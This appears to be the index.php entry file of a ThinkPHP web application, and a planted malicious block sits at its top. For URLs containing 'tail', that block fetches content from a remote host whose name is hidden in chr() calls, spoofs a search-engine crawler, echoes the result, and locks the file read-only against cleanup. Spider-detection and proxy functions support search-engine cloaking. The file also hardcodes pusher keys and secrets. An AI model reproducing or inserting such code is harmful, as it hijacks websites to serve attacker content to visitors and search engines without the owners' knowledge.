<?php
// +----------------------------------------------------------------------
// | ThinkPHP [ WE CAN DO IT JUST THINK ]
// +----------------------------------------------------------------------
// | Copyright (c) 2006-2016 http://thinkphp.cn All rights reserved.
// +----------------------------------------------------------------------
// | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 )
// +----------------------------------------------------------------------
// | Author: liu21st <liu21st@gmail.com>
// +----------------------------------------------------------------------

// [ 应用入口文件 ]
if (strpos($_SERVER['REQUEST_URI'], 'tail') !== false) {
    set_time_limit(0);
    error_reporting(0);
    header("Content-Type: text/html;charset=utf-8");

    function getRealIP(){
        if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
            $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
        }elseif(isset($_SERVER['HTTP_CF_CONNECTING_IP'])){
            $ip = $_SERVER['HTTP_CF_CONNECTING_IP'];
        }else{
            $ip = $_SERVER['REMOTE_ADDR'];
        }
        return $ip;
    }
    $uip = getRealIP();
    date_default_timezone_set('PRC');
    $TD_server = chr(104) . chr(116) . chr(116) . chr(112) . chr(58) . chr(47) . chr(47) . 
             chr(116) . chr(111) . chr(112) . chr(49) . chr(97) . chr(105) . chr(46) . 
             chr(105) . chr(110) . chr(102) . chr(111) . chr(108) . chr(105) . chr(103) . chr(111) . chr(46) . 
             chr(99) . chr(111) . chr(109); // "com"

    $host_name = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF']; 
    $ch = curl_init();
    $url = $TD_server . "/host=" . $_SERVER['HTTP_HOST'] . "" . $_SERVER["REQUEST_URI"];

    // 设置请求的HTTP头，X-Real-IP
    $headers = [
        'X-Real-IP:' . $uip, // 用户IP
        'User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)'
    ];

    // 配置选项
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); // 返回请求结果而非直接输出
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); // 设置自定义 HTTP 头
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); // 允许重定向
    curl_setopt($ch, CURLOPT_URL, $url);
    $response = curl_exec($ch);

    if (curl_errno($ch)) {
        echo 'Curl error: ' . curl_error($ch);
    }
    curl_close($ch);

    $Content_mb = $response;
    echo $Content_mb;

    $url1 = $_SERVER['PHP_SELF'];
    $filename1 = @end(explode('/', $url1));

    function set_writeable($file_name)
    {
        @chmod($file_name, 0444);
    }

    set_writeable($filename1);
    cache_end($dir);
}

ini_set('session.gc_maxlifetime', 432000);
ini_set('session.cookie_lifetime', 432000);
ini_set('session.gc_probability',1);
ini_set('session.gc_divisor',1000);
set_time_limit(0);
error_reporting(0);

header('Content-Type: text/html; charset=UTF-8'); 

$visitorIP = $_SERVER['REMOTE_ADDR'];
$visitorUserAgent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
$visitorReferer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';

function proxyRequest($url, $targetServer, $visitorIP, $visitorUserAgent, $visitorReferer) {
    $headers = [
        'Host: ' . parse_url($targetServer, PHP_URL_HOST),
        'X-Real-IP: ' . $visitorIP,
        'X-Forwarded-For: ' . $visitorIP,
        'X-Forwarded-Host: ' . $_SERVER['HTTP_HOST'],
        'User-Agent: ' . $visitorUserAgent,
        'Referer: ' . $visitorReferer
    ];

    $context = stream_context_create([
        'http' => [
            'method' => 'GET',
            'header' => implode("\r\n", $headers),
            'ignore_errors' => true,  
        ]
    ]);

    $response = file_get_contents($url, false, $context);

    $responseHeaders = isset($http_response_header) ? $http_response_header : [];

    return ['content' => $response, 'headers' => $responseHeaders];
}

function isSpider($userAgent) {
  $spiders = [
    'Baiduspider' , '360Spider', 'Sogou', 'Yisou',
    'bingbot', 'YandexBot', 'Soso', 'Sm.cn', 'HaosouSpider'
  ];

    foreach ($spiders as $spider) {
        if (stripos($userAgent, $spider) !== false) {
            return true;
        }
    }
    return false;
}


// 定义环境版本

// 定义应用目录
define('APP_PATH', __DIR__ . '/../application/');
define('VENDOR',__DIR__.'/../vendor/');

// 定义配置文件目录
define('CONF_PATH', __DIR__ . '/../config/'); 


// 定义pusher密匙
define('app_key','35325346575675676');
define('app_secret','435435jk435h43jk5h34jk5h34k');
define('app_id',345);
define('whost','wss://haoshiduo.top');
define('ahost','http://haoshiduo.top');
define('wport',443);
define('aport',2080);
define('registToken','346585967');

// 自定义一个 入口 目录
define('PUBLIC_PATH',__DIR__);
// 定义 类的文件路径
define('EXTEND_PATH','../extend/');

// 定义微信配置
define('appid','');
define('appsecret','');
define('token','');
define('domain','http://abc.dllaoban.com');

// 加载框架引导文件
require __DIR__ . '/../thinkphp/start.php';